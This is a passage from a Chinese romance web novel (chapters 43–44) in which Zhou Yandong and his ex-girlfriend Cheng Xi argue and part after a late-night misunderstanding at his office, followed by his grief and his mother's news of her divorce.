见林安玥神情别扭,身体微微发抖,周衍东皱着眉问:“你怎么了?” 林安玥面色通红,小声说道:“周总,我、我内急,好想上厕所……” 周衍东见她一副快憋炸了的样子,叹了口气,指了指休息室:“里边儿有厕所。” “谢谢周总!”林安玥夹着腿小碎步跑进休息室。 休息室里的东西只有他和程溪用过,一想到林安玥在使用马桶,周衍东就不舒服,决定明天一早就让清洁阿姨来给厕所全面消毒。 他抬起左手,摊开掌心,看着那支静静躺在掌心上的钢笔,以及笔身上的裂痕。 怎么就摔裂了呢? 周衍东想不明白。 自己和程溪之间,怎么就走到这一步了呢? 周衍东也想不明白。 他盯着钢笔,脑子里乱作一团,不知不觉失了神。 办公室外又有人叩门,不轻不重的三声。 周衍东以为是哪位下属,应道:“进。” 他抬眼望过去,看见从门外进来的人,蓦地愣住。 “程溪?”周衍东震惊的目光落在程溪和她身旁的行李箱上。 周衍东忽然意识到眼下情况有多严重,疾步走到她身边,攥住她手腕要带她出去。 “大晚上来这干嘛?走,回家。” 话音刚落,休息室传来开门声,林安玥从里面走出来。 第43章 他失声痛哭。 办公室里的三个人同时愣住, 每个人的目光都在另外两人的身上来回转。 林安玥虽然很懵,但很快便看出来面前这个拖着行李箱的陌生女人和周衍东关系不一般。 她赶忙解释道:“我、我、我就是来上厕所的!你别误会啊,我和周总——我们我们……”她看着程溪蓄满泪水的双眼,还有脸上酸楚的神色, 意识到当下这个巨大的误会害得这姑娘伤透了心…… 越想解释越着急, 越着急越语塞, 林安玥涨红了脸,结结巴巴的, 舌头都快捋不直了。 “我就是借用一下周总休息室里的厕所,真不是你想的那样!对、对不起啊, 你,你千万别误会!” 程溪不作声, 收回在她身上的目光,看向周衍东。 此时此刻,周衍东当然很想立即解释清楚, 可眼下这情况说得越多越像欲盖弥彰,他看着程溪, 低声开口:“你愿意给我……” 周衍东低头, 不知怎么,顿了顿, 又抬起头来, 目光回到程溪脸上:“你愿意给我一个解释的机会吗?” 程溪也看着他, 扯着唇角轻轻笑了:“你觉得还有必要解释吗?” 她摇了摇头, 继续说道:“你没有错,周衍东,我们已经分手了,所以不管你今晚找了谁, 跟谁在一起,跟谁做了什么,都跟我这个前女友没有任何关系。” 她转身欲走,林安玥飞快冲到前面张开胳膊拦住去路。 “哎别别别!你先别走!那个……我从头到尾跟你说吧。就是我、我今晚在楼下茶水间碰到了周总,然后周总安排我去出差,可我就是一实习生,还在试用期,那很多地方自然都不懂,突然被安排出差,还是跟一个比较重要的项目,就特别不自信,特别怕把事情搞砸,所以才上来找周总,让他跟我说一些重点需要准备什么。 “周总很耐心地跟我讲了,我、我突然内急,借用了一下厕所,没想到你来了……整个过程就是这样……” 林安玥声音越来越小,也越来越没有底气。 她说的每一个字都是事实,可不知怎么回事,在这么一个情形下,听起来就像是偷吃被抓后胡乱编造,尤其是自己现在满脸通红,看起来似乎很心虚的样子。 程溪默不作声瞧着她,脸上已经没什么表情,眼里的泪水早已滚落。 她目光空洞,看不出对林安玥有什么怨恨和愤怒,只是这种悄无声息的平静,比歇斯底里的发泄更叫人无法安心。 “对不起……”林安玥满脸愧疚,“其实我和周总刚认识不久,我们真的只是——” “滚出去!” 不等林安玥把话说完,周衍东怒吼打断。 她吓一跳,咬着唇看着他,这一幕被程溪瞧在眼里,当他们两个是在做戏给自己看,面上浮起一丝苦笑。 被周衍东这么一吼,林安玥赶紧逃似的跑了出去,连办公室门也忘了给他们关上。 周衍东头疼得要命,阴沉着脸走过去将门关上,反锁,然后回到程溪面前,看着她又问一遍:“你愿意听我解释吗?” 程溪笑了笑,还是那句反问:“你觉得有什么解释的必要吗?” 周衍东深吸一口气,摇头,认认真真盯着她:“当然有,因为不管这个误会看起来多真实,它都是误会,你明白吗?我和那个女员工——” 程溪吸了吸鼻子,唇角扯出一抹笑,眼里却没有任何温度,摇着头打断:“没关系的,周衍东,我不怪你。我……我来找你,就是突然想跟你道个别,想跟这段青春,这段有你的回忆,好好道个别……” 周衍东眉心忽地紧皱,一把攥住她手腕,面色冷得骇人:“你要去哪?” 程溪不作声。 他又问一遍,语气里甚至带着怒意:“你要去哪!” 程溪把头埋得很低,索性闭上双眼。 他眼里早已蓄满了泪,眼睛一闭泪就滚落出来,雨滴似的,一串接着一串往下掉。 “程溪,我最后问一遍,你他妈要去哪儿?”周衍东低吼。 程溪闭着眼不看他,像是不想看,也像不敢看。 她脖子瑟缩一下,眼睛闭得越发的紧,摇了摇头,颤颤声开口:“我去哪都不关你的事。” 周衍东气得冷笑:“怎么不关我事?” 程溪忽地睁开眼睛,泛红的双眼直视着他,苍白嘴唇微微发颤,苦笑从嘴角蔓延:“怎么会跟你有关呢?你是我的谁?丈夫吗?我们又没有结婚。男朋友?我们已经分手……” 她停下来,轻轻哼笑一声,蓄着泪水的亮晶晶的眼睛望向他。 “周衍东,其实你对我早就已经没有感情了,既然如此,不如趁早放手,放过我也放过你自己。” 周衍东不住地摇头,双目猩红:“谁告诉你我对你没有感情的?我爱你爱了那么久,爱得那么深,我那么年轻就跟你在一起,我给了你我能给的一切!我对你的感情从来没有变质过,是你——” 程溪打断道:“或许确实没有变质,可它变淡了,不是么?变得很淡很淡,变得我几乎感觉不到!不,不是几乎,是完全……周衍东,我完全感觉不到你还爱我。” 周衍东听着这话,仍是不停地摇头,忽然笑了,手掌扶着额头冷冷抽气,沉声问道:“怎么就变成这样了?怎么就他妈的变成这样了!” 程溪流着泪,也轻轻摇了摇头:“我不知道……明明一开始,你很爱很爱我,我也很爱很爱你……可是现在——” 她咬着唇,没法再说下去。 周衍东双手抓住程溪胳膊,目不转睛盯着她,神情和语气满是压迫感。 “那你现在还爱我吗?” 程溪不看他,也不作声。 他握着她胳膊的那双手,不自觉收了收力,紧追着问:“我只要你一句话,程溪,你老实告诉我,现在还爱我吗?” 程溪痛苦地蹙眉:“周衍东,你弄疼我了……” 她想睁开他,力气却远不如他。 周衍东松了松手,没有彻底放开,锲而不舍地问: 程溪脸上浮现一抹冰冷笑容:“当初你还说过,我想要什么你都能给,你都会给;当初你还说过,你要给我一辈子的幸福。 “当初你说过的很多很多好听的话,后来你总是不断反悔不断推翻。对,周衍东,你总有理由,总有苦衷,你每一次背弃对我的承诺,都是那么理直气壮,每一次我生气,你甚至不愿意耐着性子好好哄哄我!为什么呢,周衍东?” 周衍东正要开口反驳,程溪淡淡笑了笑,抢在他前面自问自答:“我当然知道为什么,因为我不值得。我不值得你花时间花精力花心思来好好哄一哄,我跟你有着云泥之别。 “无论你怎么用金钱来富养我,在你眼里,我永远都是那个穷酸的,上不得台面又拿不出手的小城镇来的村姑。你口口声声说爱我,说给我幸福,行动上却又总是让我深切感受到我们之间的不平等。 “我受够了,周衍东,我受够这种生活了,我一秒钟都不想再等了!很高兴你愿意跟我分手,我求之不得。” 说完,他转身迈出脚步,下一秒便被周衍东拽了回来。 他攥着她腕子,力道收得越发的紧,见她眉心紧蹙,心知弄疼她了,也绝不肯松手。 “凭什么你要来就来,要走就走?当初是你死乞白赖要跟我在一起的,现在拍拍屁股走人,程溪,你有没有心?” 程溪听着这话,气得浑身发颤,面上却带着笑,冷冷开口:“我没有心?周衍东,你说的这叫人话吗?咱俩之间到底是谁没有心?” 周衍东,指着自己,也气得发笑:“我没有心,我如果没有心,会把你从广城接回京州?我如果没有心,会心心念念想跟你再有个孩子,有个家?我如果没有心——” 程溪闭上眼睛摇着头打断:“你说的这些,都做到了吗?我们之间有孩子吗?所谓的家,那个公寓,对我而言真的是家吗?你一个月回来几次?别说了,周衍东我求求你别说了……你放过我吧……我的心真的好痛啊…… “认识你之前,我只是穷,可我穷并快乐着,我凡事靠自己,拼命赚钱、攒钱,每一天都带着希望活下去。认识你之后,你亲手一次又一次掐灭我的希望。 “是,你让我住进了大房子,好房子,在家有保姆照顾,出门有豪车接送,这些别人梦寐以求的生活却并不是我真正想要的。 “我宁愿我们住着小小的房子,我自己照顾自己,照顾你的饮食起居。你每天下班尽早回来,偶尔加加班也行,我在家等你吃饭。等你回了家,晚上两个人在被窝里聊聊天,说说心里话,笑着打打闹闹。 “我们知冷知热,金钱权力地位都排在对方之后,我们永远是彼此心里最重要的那一个。周衍东,这才是我向往的生活,这么久了,我终于看明白了,你给不了我这种生活。 “无论我怎么用力地要,无论你怎么地给,我们都无法达成一致,谁也满足不了谁。” 听到这,周衍东点了点头,坦然承认道:“没错,我确实给不了你这种生活,并且说实话,我打心眼儿里看不上这种生活。你觉得金钱权力地位没那么重要,我不这么觉得。 “它们很重要,程溪,当你没有了这三样东西,谁都能践踏你,折磨你。” 程溪:“我不是说完全不要这三样东西,只是,已经够了,你和我得到的已经够多了。” 周衍东摇头:“不,还不够,远远不够。那张照片——” 他顿了顿,脑海里又浮现起那段记忆,痛苦地闭了闭眼,再睁开时,眼睛红了几分。 “那张气得你流产的照片,如果当时我权高位重,那张照片怎么会出现?那几个老东西怎么敢配合周庆显一起来坑我陷害我?如果你的父母有钱有权有地位,周庆显又怎么会强烈阻拦咱俩结婚? “程溪,咱们过日子不能只考虑眼前,得把目光放长远。我知道你只想过小富即安的生活,这样不行,小富是远远不够的。” 程溪没再反驳,看着他沉默良久,大概是觉得跟他说不通,便放弃了争辩,点点头:“对,确实不够,但这个问题不会再困扰我们了,你有你的想法和选择,我有我的决定。” 周衍东:“你的决定就是——离开我?” 程溪语气坚定:“对,这不是你希望的吗?分手可是你提的。” 周衍东:“那也是你逼的,不是吗?你让我觉得,你不再像从前那么爱我,你有二心。程溪,为什么——” 程溪冷笑:“我有二心?谁深更半夜和女员工在办公室里?谁的女员工深更半夜从他办公室的休息间出来?谁主动提的分手?所以,周衍东,咱俩到底是谁有二心?” 周衍东烦躁地摸了摸后脑勺:“说到底你就是不肯信我呗,你还觉着我跟林安玥有什么猫腻?程溪,你要这样就没意思了。” 程溪脸上仍挂着笑。目光冰冷如霜:“对,我没意思,你找有意思的去。” 她甩开周衍东不知不觉松了力道的手,快步向门口走去,被他三两步就超过,挡在门前。 “你今晚别想出这个门,要走也得天亮了走。现在放你出去,出事了怎么办?怎么跟你父母交代?” 程溪苦笑:“父母?爱怎么交代怎么交代呗。如果我出了事,你只要给他们足够多的钱,对他们来说就算是一个好交代。他们眼里只有我弟弟。” 这话说得周衍东心里揪着疼。 他抬手想摸摸她脸庞,被她躲开。 手停顿在半空,周衍东僵了片刻才收回,目光不肯从她脸上挪开,轻声哀求:“别犟了,程溪,去休息室睡一觉,明天一早,你要去哪我都送你。” 程溪低头避开他目光:“谢谢,不需要你送。” 周衍东倒抽一口气,长长叹息:“行,都听你的。我只有一个要求:天亮了再走。” 他从她手里抢过行李箱,牵着她的手往休息室走。 这回程溪没有躲,也没挣扎,跟着他来到休息室。 周衍东关上休息室的门,顺手反锁。 “先去洗把脸,哭成这样像什么样子?” 看着她满脸是泪,周衍东心疼坏了。 程溪没有拒绝,默不作声走进浴室。她脸上未施粉黛,直接用冷水冲了冲脸,抽出一张纸巾,将挂在脸上的水珠擦掉,出来后,做了一个让周衍东惊讶的举动。 她走到周衍东跟前,张开双臂抱了抱他。 她抱得很轻,松开得很快,松手后,仰着脸凝望他,微微扬起唇角,笑一笑,带着重重的鼻音说道:“周衍东,谢谢你。虽然你给我带来过很多很多痛苦,可你也曾经带给我很多很多快乐。 “我会记住这份快乐,记住曾经满怀希望,努力呵护彼此的我们,记住那段在广城的回忆——我最珍贵,最难忘的回忆。” 笑意从她的嘴角蔓延开,没有丝毫苦涩。 有那么一瞬间,周衍东似乎看到了当年在广城第一次见到她的那天晚上,在她脸上看到的笑容。 那么纯真,温暖,美好。 他点了点头,别过脸,看向别处,沉默好一会儿,问:“你已经决定好了,对吗?” “是的。”程溪声音不大,但语气十分坚定。 周衍东长呼出一口气,抿了抿唇,轻笑中透着几分无奈:“行吧?我给你你想要的自由,天亮了我送你走。” 程溪摇着头拒绝:“不用,真的不用。” 他坚持要送:“听话。” 脱口而出这两个字,两个人都愣了愣。 还是这么爱让她听话。 程溪轻轻笑出了声,笑里又浮出了苦涩。 “你看,周衍东,我永远做不到听话,而你需要一个听话的。” 周衍东不再反驳,淡着脸陷入沉默。 么面对面僵持了一会儿,他忽然问:“你饿不饿?” 程溪摇头。 他又问:“要喝水么?” 程溪还是摇头。 他说:“行,那你睡吧,我出去忙会儿工作。” 他走出休息室,替她关上门,回到办公桌前坐下,目光紧紧盯着休息室的那扇门。 他以为程溪会出来,但程溪没有。 就这么静静坐了半个小时,他起身,走到休息室门口,轻轻推开门向里看去。 程溪躺在床上,闭着眼,已经睡着。 落地灯散发着微黄的橘光,落在她脸上,昏暗不明中,她的面部轮廓圆润柔和。 凑近这张没有表情的熟睡的面庞,周衍东看到了未干的泪痕。 他盯着她的眼睛看了好一会儿,没发现睫毛颤动,确定他没在装睡。 她是哭着睡的,周衍东心想。 有多少个夜晚,他是哭着睡着的?周衍东不知道。 他唯一知道的是,这段感情走到现在,他们都没有给到对方想要的。 彼此之间的裂痕越来越大,这裂痕如同那只作为生日礼物送给他的钢笔,摔坏之后,永远无法修补,无法复原。 周衍东伸出手,想擦干她脸上的泪痕,又怕弄醒她,指尖即将触碰到脸庞时,终是将手收回,转身走了出去。 周衍东坐在办公椅上睡着了。 他不知自己是怎么睡着的。 回到办公室后,他靠着椅背,仰头望天花板。 办公室只亮了一盏台灯,他将台灯调到昏暗,就着那一点点光,望着天花板上的吊灯。 他觉得很奇怪,明明自己没有喝酒,那吊灯却有了重影。 他闭上眼睛,感觉天旋地转,一阵眩晕过后,脑海中自动播放起过往与程溪的点点滴滴。 他们第一次牵手,第一次拥抱,第一次接吻。 他们的第一个夜晚…… 程溪很喜欢雪,说下雪的冬天像童话世界,有一次说完这话,又目光哀愁感叹:根本没有童话,这个世界,根本不像童话故事里那么美好。 他记得那会儿自己握住她的手,亲了亲她手背,笑着说,我会努力为你创造一个童话世界。 他承诺过的。 可是一切都搞砸了。 他不觉得这完全是自己的原因,可是他想总不能怪程溪。 他们之间总有一个人要负责。 周衍东不认为自己得负全责,可他又不得不负起全责。 他不得不承担创造出这个烂摊子的唯一主谋的罪名。 他知道程溪没有错,也终于明白,他们真的不适合。 周衍东在回忆和胡思乱想中,不知不觉睡去。 再睁眼时天已经亮了,晨光透过办公室薄薄的纱帘照了进来。周衍东低头看见自己身上盖着一张浅灰色毯子。 这毯子平时都是叠好放在休息室沙发上,他反应过来什么,猛地起身,毯子从身上掉落。 周衍东冲向休息室。 坐在椅子上睡了一夜,身体格外酸痛,可他顾不得这点痛。 休息室的床上没有程溪,浴室里也没有。 周衍东慌乱搜寻着里面的每一处,甚至打开衣柜,嘴里不断念叨:“程溪,程溪……” 他从休息室出来,垂头丧气,如同一只败犬。 他最爱的程溪,他在很年轻时爱了那么久的程溪,到底还是走了。 程溪走之前,还给他披了毯子。 他记得以前有一次吵架,她出门上班前,也给在沙发上睡着他披了毯子。 真是个善良的好姑娘。 周衍东没发现自己正在流泪。 他一动不动站在办公室中央,心脏痛得呼吸不畅,恨不得立马死掉。 可偏偏又死不掉。 办公室门口传来动静,有人按下把手,紧接着,门开了。 他扭头看去,母亲从外面进来。 “东子,我在公寓等了一夜,程溪没回来。要不……要不咱们报警吧!” 尹岚抓着周衍东胳膊,满脸焦急。 周衍东不作声,低头愣愣地看着地板。 尹岚又说道:“现在报警估计警察也不会立案,要不还是去跟你爸说说,让他找找关系?他在公安局有人脉,问一下问他们能不能——” 周衍东摇着头开口:“不用了,程溪走了。” 尹岚没听明白,皱起眉头:“你在说什么废话?我当然知道程溪已经走了。关键是,她去了哪儿?现在怎么样?还安不安全?妈妈担心的是这个!唉,这姑娘也是,太犟了……” 周衍东抬头看着母亲,声音沙哑:“程溪昨晚来办公室找我,我们彻底聊开了。她在里边睡了一觉,今早走的。” 周衍东扬了扬下巴,目光看向休息室。 尹岚顺着他目光看过去,见休息室门敞开着,疾步走过去,在里面找了一圈,直到确认里面没人,才彻底死心,埋怨道:“你怎么就让她走了呢?” 周衍东笑得苦涩:“她昨晚就要走,我拦住了,逼着她在这儿睡了一晚,就怕她一个人在外边,大晚上出事儿。” 尹岚沉默一会儿,叹气:“她来找你,估计是想跟你做最后的道别。你俩真是……” 她摇摇头,心里实在不好受,说不下去了,沉默地望着窗外,拉开纱帘,推开窗户透气,嘴里念叨着:“你以后少抽烟,对身体不好。” “嗯。”周衍东敷衍地应一声。 尹岚从窗边回来,走到儿子跟前,摸摸他阴沉的脸,发现他瘦了一圈,神态憔悴而疲惫。 到底是自己儿子,做母亲的看着心疼,尹岚吸吸鼻子,不知该如何安慰他,想了想,柔声说道:“东子,人最重要的是向前看。无论过去发生什么,都已经过去了,过好现在未来才会更好。” 周衍东点点头,说:“知道了,谢谢妈。” 他面无表情说着这话,眼里黯淡无光。 尹岚沉默片刻,原本还想安慰他,不知怎么,埋怨的话脱口而出:“程溪这孩子也真是,非要走也行,又不是不让她走,怎么闷不吭声就走了呢?提前说一声,我去送送她,好好道个别不行吗……” 说到这,尹岚声音颤得厉害,没法再说下去。 周衍东看着母亲,抬手抹抹她脸上的泪,强撑着扯出一个笑:“妈,别想这事儿了,您回去吧,好好睡一觉,没准她到地方了会跟您说一声。” 尹岚问:“她有说要去哪儿吗?” 周衍东摇头。 尹岚又问:“他是去了车站还是机场?” 周衍东仍是摇头。 尹岚怨道:“你也真是,她都到这儿找你了,也不好好问清楚!” 周衍东:“我问了,她死活不肯告诉我。” 尹岚沉默,过了一会儿,张了张嘴,欲言又止,内心挣扎片刻,还是开了口。 “东子,我想跟你说个事儿,只是这个事儿吧,现在对你而言,不知道算是喜事儿还是坏事儿。” 周衍东笑了,面色无奈:“妈,我现在觉得什么事儿对我来说都差不多,好能好到哪儿去?坏能坏到哪儿去?您就直说吧,别藏着掖着。” 他看得出来,母亲其实很想告诉他。 尹岚低头,避开他目光,小声说道:“我决定跟你爸爸离婚。” 周衍东愣了愣,目光闪过一丝惊讶。 他确实没想到母亲会做这个决定。 “怎么突然——” 他话没说完,尹岚打断:“不是突然,我已经想了很久。这么多年,我跟你爸爸之间,要说没有感情那是不可能的,可要说我有多爱他,那也是不可能的。 “以前在广城你跟我聊过一次,那次以后,我总是时不时想起你的话。后来你爸爸跟张文明他们坑害你,我更加厌烦他——不,应该说是憎恶。我俩关系越来越差,你后来几乎不怎么回家,所以不知道我们之间发生了什么。 我跟他大吵过好多次,他觉得我变了。我确实变了。我想,之前很多年自己都像瞎了眼。直到这两年才慢慢清醒过来。我不再像从前那样感谢他,不再觉得他是我和我们家族的救世主。 “或许不嫁给他,我嫁给另一个男人,这辈子会活幸福很多,而我的家族也未必不会东山再起。” 周衍东沉默许久,问道:“你要离婚,周庆显知道吗?” 尹岚点了点头:“知道。” 周衍东:“他同意了?” 尹岚:“一开始不同意,但我坚持要离,并且放弃分割财产,也就是说,我宁愿净身出户,也要彻底离开他。因为我知道,我不会一无所有,我身后还有我儿子。 “其实我跟程溪某些方面挺像的。她对物质生活要求不高,我也是。当然了,我知道从俭入奢易,从奢入俭难,不过妈妈并不是一个没有优渥物质生活就活不下去的人,吃穿用度过得去就行,所以你不用担心妈妈会给你带来很大负担。” 周衍东连忙摇头:“妈,我当然会给您养老,会让您过得很好,不会比跟周庆显在一起时差的。” 尹岚笑了笑,问道:“妈妈跟他离婚,你不生气?” 周衍东反问:“为什么要生气?妈,您早该离了。” 尹岚叹一口气:“妈妈一把年纪,这时候离婚,肯定会被人说三道四指指点点,别人怎么说我都行,我就怕……就怕自己给你丢脸……” 周衍东轻哼一声,嗤之以鼻:“爱说说呗,这世上最不缺的就是嚼舌根的长舌妇。过日子不能只看面子,还得看里子,里子不好,面子再光鲜有什么用?人是为自己而活,不是活给别人看的,你有权利追寻自由和幸福。妈,我真为您高兴。” 这番话让尹岚红了眼眶,她没想到儿子竟会这么理解自己,长舒一口气:“谢谢你愿意理解妈妈。把这事儿说出来,妈妈心里好受多了。其实告诉你我要离婚这事儿,也是想让你知道,有些人在一起注定会变成怨偶,倒不如分开,彼此都自在。 “如果你跟程溪强行绑一块儿,等到了我这个岁数,大家都过腻了,厌恶——甚至憎恨对方,这个结局就不美好了。倒不如把好的那一面留在回忆里,往后想起对方,更多的是幸福和感动,而不是憎恶。” 尹岚抬手轻抚儿子脸庞,劝道:“东子,看你这脸色,一晚上没睡吧?快去歇歇。” 周衍东点头应了一声,送母亲到办公室门口:“放心,我还年轻,熬得住,您回去吧。” 看着母亲走进电梯,他关上办公室门,去浴室洗了个澡,换身干净清爽的衣服。 沐浴后身体舒服了些,头脑也清醒很多,他站在落地窗前,掏出手机写下这样一条短信—— 【不管你去哪里,都祝你有更好的未来。】 打完那个句号,手指停在发送键上空,周衍东最终还是一个字一个字删掉,退出了短信页面。 今天事情多,得开会,得考察,得外出谈合作,他一样没落下,强打起精神,事事都干得很好。 下班后有个应酬,原本想推掉,最终还是去了。 不去应酬,这么早下班,该去哪呢? 办公室,休息室,公寓,都有过程溪的痕迹。 即便去程溪没有呆过的房子里,脑海中程溪的脸也依然挥之不去。 喝点酒就好了,最好喝醉,醉到断片儿,什么都想不起来,倒头就睡,这样才能睡得安稳,周衍东心想。 他在饭局上喝了一轮又一轮,醉得一塌糊涂,但现在酒量似乎锻炼出来了,并没有断片儿,只是被司机从饭店扶出来,在车后座红着脸说胡话。 “程溪,给我找件黑衬衫,我不要白的,白的穿着跟大堂经理似的。” “程溪,我想吃面,清汤挂面,不要葱花,要香菜!” “程溪,你穿粉裙子特好看,一点都不土,特青春明媚,我喜欢……” “程溪,我渴了,给我泡杯茶去。” “哎,程溪,别闹了成么?总跟我作妖,真他妈烦!” 司机知道他这段时间不怎么回公寓,猜测可能是跟程小姐吵架了,这么听来,心想八成猜对了。 “周总,您今晚去哪儿?”司机问道。 周衍东说:“还能去哪儿,回公寓呗!再不回去,程溪该跟我闹了,又说我忙工作忙工作,成天不着家,唉,听着真烦。” 司机奉命将他送回公寓楼下,停好车,扶他上楼。 已经晚上十一点,方姨刚睡下没多久,听见门铃响,以为程溪回来了,赶忙穿好衣服出来开门。 见司机扶着醉醺醺的周衍东,摇了摇头,叹气:“哎呀,这是喝了多少?” 司机说:“今晚周总可没少喝。” 方姨心知他为什么喝那么多,看破不说破,跟司机道了声谢,和司机一起将他扶到楼上主卧。 周衍东是被渴醒的。 他闭着眼,喊了程溪好几声,让她倒水,没人回应,他不悦地撑起身子,睁开眼,在漆黑的房间中四处找寻,然后打开灯,被灯光晃的半眯着眼。 “程溪?”他又叫了一声,适应光线后,左右看了看,发现床上只有自己,随即想起来,程溪早已离开。 他坐在床上,弓着背,低着头,沉默好久好久。 墙上时钟走过凌晨四点,周衍东掀开被子下床,。腿有些麻,他忍着不适给自己倒了杯水,一口气喝下半杯,握着杯子在房间里慢慢走。 周衍东先是来到衣柜前,打开柜门,发现里面很多程溪的衣服。她最爱穿的那几件没有,应该是带走了。 他给她买过很多衣服,都挺漂亮——以他的审美来说,他觉得很好看,并且价格不菲。 但程溪不怎么爱穿那些贵的衣服,来来回回都只穿几件她自己买的平价服装。 周衍东又走到梳妆台前,打开桌上的木质首饰盒。 他给她买的所有首饰一样不少都在里面。 周衍东打开梳妆台最上层的抽屉,那些以前给她囤的名贵护肤品也都还留着。 打开最后一层抽屉时,周衍东愣住了。 这一层主要装胸针之类的小饰品,这些饰品上面,多了张照片。 一张周衍东从没看过的照片。 他将照片拿出来。照片上,程溪站在故宫一面红墙前。 这是冬天的故宫,落雪的故宫。 白雪,红砖,灰蒙蒙的天,程溪穿着米色羽绒服,头戴着白灰格子毛线帽,双手插兜,冲着镜头微笑。 乍一看,她笑得开心,可仔细瞧去,便能发现那双杏眼里藏着哀伤。 一种无法言说,难以察觉的哀伤。 只有失望透顶,却不得不靠伪装成快乐的样子,继续维持表面和平的那种哀伤。 他翻过照片,看见了背后空白面那密密麻麻的字。 【周衍东这个骗子,大骗子!之前答应得好好的,亲口承诺要在下雪天带我去看故宫,结果还是没去,看他那样子,不像装的,当真是忘得一干二净。 不带就不带吧,我自己有腿,自己能去。方姨要带我一去,我拒绝了她的好意,告诉她我想一个人去那边静静。其实我只是觉得,这么浪漫的地方,这么美丽的场景,必须得跟周衍东一块儿去。他不去,我就自己去。 一个漂亮小姐姐帮我拍的照片。小姐姐真幸福,有老公和女儿陪着一起逛故宫,拍完照片,把相机还我,小姐姐就挽着老公的手,牵着女儿,笑嘻嘻往前走。真羡慕她…… 写到这,我又哭了。真没用,出事了,难受了,只会哭!周衍东大概就是嫌我总爱哭,才越来越少回来吧…… 我好想他啊,我好想好想抱抱他,也好想好想他抱抱我啊……】 周衍东将照片翻回正面,在右下角,看见了拍摄当天的日期。 他不记得那天到底发生了什么,但他想起来了,在程溪流产前,那天晚上,他答应过要带她去看雪中的故宫。 他把这个承诺忘得一干二净。 听见程溪在睡梦中骂他—— “周衍东你个大骗子!说话不算话!” 那会儿,他当这是梦话。 如今想来,其实压根不是。 其实程溪只是假寐。 其实程溪……彻夜未眠。 他答应过她的啊,要带她去看雪中的故宫。 他如此郑重地答应了,却又如此轻易地忘记了。 周衍东捧着这张照片,望着照片中程溪微笑却哀伤的脸,失声痛哭。 第44章 第十一年。 自打记事以来, 周衍东极少允许自己哭。 母亲曾经说过,他在幼儿时期也很少流泪。 别的小孩饿了、累了、烦了、疼了……只要不舒服了,都喜欢哭一哭,跟大人撒撒娇, 他却很少这样, 除非实在难受得不行, 才会哭出来。 父亲说这是周家人的特质。 记事以后,周衍东从父亲那里接受到的教育便是“男儿有泪不轻弹”, 对于男人而言,哭, 是脆弱,是耻辱。 眼泪, 是周家人最避讳的东西。 然而这一原则在遇见程溪之后,便被打破了。 这段感情总是能让周衍东情不自禁落泪。 程溪彻底离开的这个夜晚,发现这张照片, 看见照片后面的字的这个夜晚,周衍东哭得像个孩子。 他不记得自己哭了多久, 哭到几点。 最后哭得实在累了, 他蜷缩在床上,没有盖被, 捧着这张照片, 照片上程溪的脸紧紧贴在他心口。 他完全不用努力就能回忆起紧抱着程溪的触感。 拥她入怀的触感那样真实, 而冰冷的现实也那样真实。 他觉得自己好像分裂出了两个人格, 一个在紧紧抱着程溪,一个失去了一生所爱,除了孤独哭泣,什么也做不了。 他就这样硬生生捱到天亮。 第二天一早, 方姨担心他,上楼敲了敲卧室门,在外面问:“少爷,您醒了没有?早餐想吃什么?” 他听见了,却无心回应,也无力回应。 方姨放心不下,推开门一看,见他侧躺在床上,背对着门,身上没盖被子。 入夏了,天气开始燥热,周衍东怕热,空调开得足,卧室气温很低,方姨开门便感受到一股冷气扑面,赶紧过去给他盖被子。 本以为他睡着了,绕到那一面,才看见他半睁着眼,目光呆滞,不知道在想什么。 方姨俯身,轻轻推了推他,关切又担忧:“少爷,少爷?” 她叫了两声,周衍东都置若罔闻。 方姨见他满脸泪痕,双目泛红,深长地叹了口气,劝道:“少爷,我知道,刚跟程小姐分开,这让您很难受,这是很正常的,没关系,难受着难受着,就慢慢好了,我相信程小姐心里肯定也不好受。 “但如果两个人在一块儿总是不开心,分开也未必是件坏事。您看开点儿,说不定以后还能和程小姐再续前缘!这世上的事情,谁又能说得清呢?” 方姨劝了这么多,周衍东只听进去那一句——“说不定以后还能和程小姐再续前缘”。 他心想,不可能了,续不了了。 程溪没法原谅他,而他,也没法原谅自己。 方姨问道:“您饿不饿?起床去洗个澡,下楼吃早餐吧。看您这样子,估计没睡好,要吃碗清汤挂面吗?” 方姨把他当自己儿子,耐心哄着,周衍东摇了摇头,一开口,嗓音沙哑得厉害:“您出去吧,我自个儿静静。” 劝不动他,方姨没办法,只能叹着气离开房间,关门前,又担忧地朝里面看了好几遍。 下楼后,方姨打电话给尹岚,告诉她这事儿,尹岚说了句“知道了”,便挂断电话。 一个小时后,尹岚来到公寓。 方姨问道:“您还是放心不下少爷,所以亲自过来看看对吗?” 尹岚摇摇头:“不光是放心不下他,还有个事儿得跟他商量一下。” 话音刚落,她俩便看见周衍东从楼上下来。 他已经换下居家服,穿着衬衫西裤,还系了领带,头发清清爽爽,刚吹干的样子,远远看去精神十足,只是离近了看,那一脸的疲态,泛青的眼圈,微红的眸子——憔悴一览无遗。 “东子……”尹岚心疼地唤他一声。 “妈,您怎么来了?”周衍东看上去情绪很稳定,波澜不惊。 尹岚说道:“妈来看看你,顺便顺便跟你商量个事儿。” 周衍东问:“什么事儿?” 尹岚欲言又止,有些不好意思开口。 周衍东催道:“有事儿您直说,甭跟我客气,我得赶时间上班呢。” 尹岚这才说道:“东子,我想搬过来和你住。” 周衍东点点头,只说了一个字:“行。” 答应得这么干脆,倒让尹岚更不好意思了。 她问:“我搬过来会不会影响你?” 周衍东摇头:“不会,平时我不是加班就是应酬,要么不回来,要么回来得很晚。” 说完这话,周衍东想起以前自己陪程溪的时间实在是少,一想到这,心又忍不住抽疼起来。 尹岚:“我跟你爸爸已经办完离婚手续了。他说那套别墅留给我住,他搬出去,我没接受。我名下也有房子,可毕竟年纪大了,一个人孤零零的,心里难受。 “请多少人照顾吧,好像都填不满内心的那份空虚,只有挨着亲人,才觉得温暖踏实。所以妈妈就想搬来这儿跟你一起住,正好,我和方姨性格投缘合得来,平时我俩在一块儿有得聊,不愁会寂寞。” 方姨听到这句话,自然是高兴的,扭头看向周衍东,等着他决定,周衍东还是短短的一个字:“行。” 他面无表情越过她俩走向玄关,换鞋时听见母亲说道:“你昨晚没休息好,要不……要不先别上班了,在家补补觉?” 周衍东摇头,看都没看母亲:“不行,我得回公司。” 尹岚见他脸色太差,放心不下,疾步走过去,抓着他胳膊不让走:“儿子,听话,你少去公司一天,公司也不会垮。好好休息养足精神。做事儿做决定都会更好更清晰。走,上去睡觉。” 周衍东挣脱母亲的手,打开门:“您放心,我死不了。” 他迈开脚步,头也不回将门关上,徒留尹岚和方姨面对面叹气。 